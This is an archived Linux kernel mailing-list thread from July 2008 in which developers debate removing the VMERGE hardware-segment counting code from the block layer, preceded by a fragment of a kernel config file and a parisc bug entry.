CONFIG_CRYPTO_ARC4=m
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_HW is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
# CONFIG_GENERIC_FIND_FIRST_BIT is not set
# CONFIG_CRC_CCITT is not set
# CONFIG_CRC16 is not set
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y

> > Bug-Entry	: http://bugzilla.kernel.org/show_bug.cgi?id=10786
> > Subject		: parisc: 64bit SMP does not boot on J5600
> > Submitter	: Domenico Andreoli <cavokz-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> > Date		: 2008-05-22 16:14 (46 days old)
> > References	: http://marc.info/?l=linux-kernel&m=121147328028081&w=4

Regards,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50

From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Thu, 24 Jul 2008 12:52:51 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <1216918371.4524.38.camel@localhost.localdomain>
References: <1216520228.3376.33.camel@localhost.localdomain>
	 <20080719.210737.197246608.davem@davemloft.net>
	 <1216565545.4199.10.camel@localhost.localdomain>
	 <20080720.102302.137955996.davem@davemloft.net>
	 <1216575211.4199.35.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807241103190.1545@devserv.devel.redhat.com>
	 <1216913314.4524.25.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807241232040.9412@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216918407 26325 80.91.229.12 (24 Jul 2008 16:53:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 16:53:27 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 24 18:54:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM44y-0006PP-9o
	for glpp-linux-parisc@gmane.org; Thu, 24 Jul 2008 18:54:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751647AbYGXQxQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2008 12:53:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751407AbYGXQxP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Jul 2008 12:53:15 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:38004 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750917AbYGXQxO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2008 12:53:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4564D80FD;
	Thu, 24 Jul 2008 11:53:12 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fa5+iPHHyi-n; Thu, 24 Jul 2008 11:53:11 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 7EF4E7FAB;
	Thu, 24 Jul 2008 11:53:10 -0500 (CDT)
In-Reply-To: <Pine.LNX.4.64.0807241232040.9412@devserv.devel.redhat.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:556 gmane.linux.kernel:711373 gmane.linux.scsi:43392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/556>

On Thu, 2008-07-24 at 12:34 -0400, Mikulas Patocka wrote:
> On Thu, 24 Jul 2008, James Bottomley wrote:
> 
> > On Thu, 2008-07-24 at 11:07 -0400, Mikulas Patocka wrote:
> > > So try to #define BIO_VMERGE_BOUNDARY 0 for Pa-Risc and tell us what 
> > > performance degradation do you see (and what driver do you use and what is 
> > > the I/O pattern).
> > > 
> > > If you show something specific, we can consider that --- but you haven't 
> > > yet told us anything, except generic talk.
> > 
> > You keep ignoring inconvenient facts.  For about the third time:
> > 
> > I run a test bed for sg_tables (large chaining of requests).  This runs
> > on parisc using virtual merging (has to because the final physical table
> > size can't go over the sg list of the SCSI card).  If I turn off virtual
> > merging I can no longer test sg_tables in vanilla kernels.
> > 
> > James
> 
> What sg_tables test do you mean? What does the test do? Why couldn't you 
> run the test if BIO_VMERGE_BOUNDARY is 0? Normal I/O obviously can work 
> with BIO_VMERGE_BOUNDARY 0, the kernel will just send more smaller 

Look, if you don't really understand what I'm doing, it's not really my
job to educate you.  The sg_table discussions are on marc.info, mainly
on the SCSI lists; just look for 'sg chaining' in the header (need to
use google site ... marc's search is bad).

You can complain if the code is impacting you ... but I believe I've
optimised it so it isn't.  Your basic problem amounts to you not liking
me doing something that has no impact on you ... I'm afraid that's what
freedom leads to (shocking, I know).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
 about VMERGE
Date: Thu, 24 Jul 2008 17:49:14 -0400 (EDT)
Lines: 70
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
References: <1216520228.3376.33.camel@localhost.localdomain> 
 <20080719.210737.197246608.davem@davemloft.net>  <1216565545.4199.10.camel@localhost.localdomain>
  <20080720.102302.137955996.davem@davemloft.net>  <1216575211.4199.35.camel@localhost.localdomain>
  <Pine.LNX.4.64.0807241103190.1545@devserv.devel.redhat.com> 
 <1216913314.4524.25.camel@localhost.localdomain> 
 <Pine.LNX.4.64.0807241232040.9412@devserv.devel.redhat.com>
 <1216918371.4524.38.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1216936187 25239 80.91.229.12 (24 Jul 2008 21:49:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 21:49:47 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Jul 24 23:50:32 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM8hj-0004Zl-2P
	for lnx-linux-scsi@gmane.org; Thu, 24 Jul 2008 23:50:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751942AbYGXVte (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 24 Jul 2008 17:49:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751907AbYGXVtd
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Thu, 24 Jul 2008 17:49:33 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:33345 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751552AbYGXVtc (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Thu, 24 Jul 2008 17:49:32 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m6OLnGjR027596;
	Thu, 24 Jul 2008 17:49:16 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m6OLnF6I028371;
	Thu, 24 Jul 2008 17:49:15 -0400
Original-Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by file.rdu.redhat.com (8.13.1/8.13.1) with ESMTP id m6OLnFiT015295;
	Thu, 24 Jul 2008 17:49:15 -0400
Original-Received: from devserv.devel.redhat.com (localhost.localdomain [127.0.0.1])
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id m6OLnF4J024357;
	Thu, 24 Jul 2008 17:49:15 -0400
Original-Received: from localhost (mpatocka@localhost)
	by devserv.devel.redhat.com (8.12.11.20060308/8.12.11/Submit) with ESMTP id m6OLnELw024351;
	Thu, 24 Jul 2008 17:49:14 -0400
X-Authentication-Warning: devserv.devel.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@devserv.devel.redhat.com
In-Reply-To: <1216918371.4524.38.camel@localhost.localdomain>
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43411 gmane.linux.kernel:711476 gmane.linux.ports.parisc:557
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/557>

On Thu, 24 Jul 2008, James Bottomley wrote:

> On Thu, 2008-07-24 at 12:34 -0400, Mikulas Patocka wrote:
> > On Thu, 24 Jul 2008, James Bottomley wrote:
> > 
> > > On Thu, 2008-07-24 at 11:07 -0400, Mikulas Patocka wrote:
> > > > So try to #define BIO_VMERGE_BOUNDARY 0 for Pa-Risc and tell us what 
> > > > performance degradation do you see (and what driver do you use and what is 
> > > > the I/O pattern).
> > > > 
> > > > If you show something specific, we can consider that --- but you haven't 
> > > > yet told us anything, except generic talk.
> > > 
> > > You keep ignoring inconvenient facts.  For about the third time:
> > > 
> > > I run a test bed for sg_tables (large chaining of requests).  This runs
> > > on parisc using virtual merging (has to because the final physical table
> > > size can't go over the sg list of the SCSI card).  If I turn off virtual
> > > merging I can no longer test sg_tables in vanilla kernels.
> > > 
> > > James
> > 
> > What sg_tables test do you mean? What does the test do? Why couldn't you 
> > run the test if BIO_VMERGE_BOUNDARY is 0? Normal I/O obviously can work 
> > with BIO_VMERGE_BOUNDARY 0, the kernel will just send more smaller 
> 
> Look, if you don't really understand what I'm doing, it's not really my
> job to educate you.  The sg_table discussions are on marc.info, mainly
> on the SCSI lists; just look for 'sg chaining' in the header (need to
> use google site ... marc's search is bad).
> 
> You can complain if the code is impacting you ... but I believe I've
> optimised it so it isn't.  Your basic problem amounts to you not liking
> me doing something that has no impact on you ... I'm afraid that's what
> freedom leads to (shocking, I know).
> 
> James

Chaining of sg_tables is used for drivers with big sg tables --- and 
vmerge counting is used for drivers with small sg tables. So what do they 
have in common?

Summary, what I mean:

* in blk-merge.c, you have 85 lines, that is 16% of the size of the file, 
devoted to counting of hw_segments

* it is only used on two architectures, one already outdated (alpha), the 
other being discontinued (pa-risc). On all the other architectures, 
hw_segments == phys_segments

* it is prone to bugs and hard to maintain, because the same value must be 
calculated in blk-merge.c and in architectural iommu functions --- if the 
value differs, you create too long request, corrupt kernel memory and 
crash (happened on sparc64). Anyone changing blk-merge in the future will 
risk breaking something on the architectures that use BIO_VMERGE_BOUNDARY 
--- and because these architectures are so rare, the bug will go unnoticed 
for long time --- like in the case of sparc64.

* you are just talking how this code is important for performance without 
showing any single proof that it really is (temporarily disable 
hw_segments accounting by defining BIO_VMERGE_BOUNDARY 0 and get the 
numbers).

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Thu, 24 Jul 2008 14:53:36 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20080724.145336.41899163.davem@davemloft.net>
References: <Pine.LNX.4.64.0807241232040.9412@devserv.devel.redhat.com>
	<1216918371.4524.38.camel@localhost.localdomain>
	<Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216936427 25953 80.91.229.12 (24 Jul 2008 21:53:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jul 2008 21:53:47 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com,
	fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Jul 24 23:54:35 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KM8le-0005xO-OI
	for lnx-linux-scsi@gmane.org; Thu, 24 Jul 2008 23:54:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751552AbYGXVxh (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Thu, 24 Jul 2008 17:53:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751974AbYGXVxh
	(ORCPT <rfc822;linux-scsi-outgoing>);
	Thu, 24 Jul 2008 17:53:37 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:36592
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751552AbYGXVxg (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Thu, 24 Jul 2008 17:53:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id C686DC8C2D5;
	Thu, 24 Jul 2008 14:53:36 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
X-Mailer: Mew version 5.2 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:43412 gmane.linux.kernel:711478 gmane.linux.ports.parisc:558
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/558>

From: Mikulas Patocka <mpatocka@redhat.com>
Date: Thu, 24 Jul 2008 17:49:14 -0400 (EDT)

> * it is prone to bugs and hard to maintain, because the same value must be 
> calculated in blk-merge.c and in architectural iommu functions --- if the 
> value differs, you create too long request, corrupt kernel memory and 
> crash (happened on sparc64). Anyone changing blk-merge in the future will 
> risk breaking something on the architectures that use BIO_VMERGE_BOUNDARY 
> --- and because these architectures are so rare, the bug will go unnoticed 
> for long time --- like in the case of sparc64.

I completely agree with this point.

This VMERGE stuff is now a non-trivial maintainence burdon because
anyone who wants to hack on the block layer has to be mindful of
VMERGE but is very unlikely to have access to a system that it can
even be tested on.

And the answer isn't "James Bottomly will test your changes for you",
because that simply doesn't scale.

I still say we should definitely remove the VMERGE code.  It's not
worth the maintainence hassle just for some SG chaining test rig
on some obscure platform.

I really only hear one person who really wants this code around any
more.  Is that the Linux way? :-) Can't he patch it into his tree when
he needs it or write an alternative way to stress the SG chaining
code?  He has the source, right? :-)))
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
 blk_recalc_rq_segments about VMERGE
Date: Fri, 25 Jul 2008 11:26:27 +0900
Lines: 69
Approved: news@gmane.org
Message-ID: <20080725112711H.fujita.tomonori@lab.ntt.co.jp>
References: <Pine.LNX.4.64.0807241232040.9412@devserv.devel.redhat.com>
	<1216918371.4524.38.camel@localhost.localdomain>
	<Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216952881 1733 80.91.229.12 (25 Jul 2008 02:28:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jul 2008 02:28:01 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, davem@davemloft.net,
	fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: mpatocka@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 25 04:28:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KMD30-00008F-13
	for glpp-linux-parisc@gmane.org; Fri, 25 Jul 2008 04:28:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752818AbYGYC1t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2008 22:27:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751624AbYGYC1t
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Jul 2008 22:27:49 -0400
Original-Received: from sh.osrg.net ([192.16.179.4]:34986 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751268AbYGYC1s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2008 22:27:48 -0400
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id m6P2QR2R028840;
	Fri, 25 Jul 2008 11:26:27 +0900
In-Reply-To: <Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
Original-Lines: 64
X-Virus-Scanned: ClamAV 0.93.1/2691/Fri Mar  2 08:24:05 2007 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:559 gmane.linux.kernel:711557 gmane.linux.scsi:43413
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/559>

On Thu, 24 Jul 2008 17:49:14 -0400 (EDT)
Mikulas Patocka <mpatocka@redhat.com> wrote:

> On Thu, 24 Jul 2008, James Bottomley wrote:
> 
> > On Thu, 2008-07-24 at 12:34 -0400, Mikulas Patocka wrote:
> > > On Thu, 24 Jul 2008, James Bottomley wrote:
> > > 
> > > > On Thu, 2008-07-24 at 11:07 -0400, Mikulas Patocka wrote:
> > > > > So try to #define BIO_VMERGE_BOUNDARY 0 for Pa-Risc and tell us what 
> > > > > performance degradation do you see (and what driver do you use and what is 
> > > > > the I/O pattern).
> > > > > 
> > > > > If you show something specific, we can consider that --- but you haven't 
> > > > > yet told us anything, except generic talk.
> > > > 
> > > > You keep ignoring inconvenient facts.  For about the third time:
> > > > 
> > > > I run a test bed for sg_tables (large chaining of requests).  This runs
> > > > on parisc using virtual merging (has to because the final physical table
> > > > size can't go over the sg list of the SCSI card).  If I turn off virtual
> > > > merging I can no longer test sg_tables in vanilla kernels.
> > > > 
> > > > James
> > > 
> > > What sg_tables test do you mean? What does the test do? Why couldn't you 
> > > run the test if BIO_VMERGE_BOUNDARY is 0? Normal I/O obviously can work 
> > > with BIO_VMERGE_BOUNDARY 0, the kernel will just send more smaller 
> > 
> > Look, if you don't really understand what I'm doing, it's not really my
> > job to educate you.  The sg_table discussions are on marc.info, mainly
> > on the SCSI lists; just look for 'sg chaining' in the header (need to
> > use google site ... marc's search is bad).
> > 
> > You can complain if the code is impacting you ... but I believe I've
> > optimised it so it isn't.  Your basic problem amounts to you not liking
> > me doing something that has no impact on you ... I'm afraid that's what
> > freedom leads to (shocking, I know).
> > 
> > James
> 
> Chaining of sg_tables is used for drivers with big sg tables --- and 
> vmerge counting is used for drivers with small sg tables. So what do they 
> have in common?

VMERGE enables you to handle a large request even with drivers with
small sg tables.


> Summary, what I mean:
> 
> * in blk-merge.c, you have 85 lines, that is 16% of the size of the file, 
> devoted to counting of hw_segments
> 
> * it is only used on two architectures, one already outdated (alpha), the 
> other being discontinued (pa-risc). On all the other architectures, 
> hw_segments == phys_segments

BTW, alpha IOMMU can't handle VMERGE. But the IOMMU has the code to
handle VMERGE so one-line patch can fix the IOMMU.


As I said before, can we leave this to Jens, keeping or removing
VMERGE? Seems that I see the same arguments again and again.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.scsi
Subject: Re: [PATCH] block: fix q->max_segment_size checking in blk_recalc_rq_segments
Date: Thu, 24 Jul 2008 22:40:08 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20080725024009.82A4C4DCB@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216953625 3138 80.91.229.12 (25 Jul 2008 02:40:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jul 2008 02:40:25 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, davem@davemloft.net,
	fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org, linux-scsi@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: mpatocka@redhat.com (Mikulas Patocka)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 25 04:41:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KMDF0-0002Yh-CC
	for glpp-linux-parisc@gmane.org; Fri, 25 Jul 2008 04:41:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753043AbYGYCkO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jul 2008 22:40:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752251AbYGYCkN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 24 Jul 2008 22:40:13 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4369 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752912AbYGYCkL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jul 2008 22:40:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 82A4C4DCB; Thu, 24 Jul 2008 22:40:09 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com> from "Mikulas Patocka" at Jul 24, 2008 05:49:14 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:560 gmane.linux.kernel:711560 gmane.linux.scsi:43414
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/560>

> * it is only used on two architectures, one already outdated (alpha), the 
> other being discontinued (pa-risc). On all the other architectures, 
> hw_segments == phys_segments

This "business based" argument should be ignored.  Followed to the limit,
there would only be one architecture left...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] block: fix q->max_segment_size checking in
	blk_recalc_rq_segments about VMERGE
Date: Thu, 24 Jul 2008 23:47:50 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <1216957670.4524.87.camel@localhost.localdomain>
References: <Pine.LNX.4.64.0807241232040.9412@devserv.devel.redhat.com>
	 <1216918371.4524.38.camel@localhost.localdomain>
	 <Pine.LNX.4.64.0807241727320.12036@devserv.devel.redhat.com>
	 <20080724.145336.41899163.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1216958115 11891 80.91.229.12 (25 Jul 2008 03:55:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jul 2008 03:55:15 +0000 (UTC)
Cc: mpatocka@redhat.com, fujita.tomonori@lab.ntt.co.jp,
	jens.axboe@oracle.com, linux-kernel@vger.kernel.org,
	linux-scsi@vger.kernel.org, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-scsi-owner@vger.kernel.org Fri Jul 25 05:56:03 2008
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KMEPS-0000Ki-Tp
	for lnx-linux-scsi@gmane.org; Fri, 25 Jul 2008 05:56:03 +0200
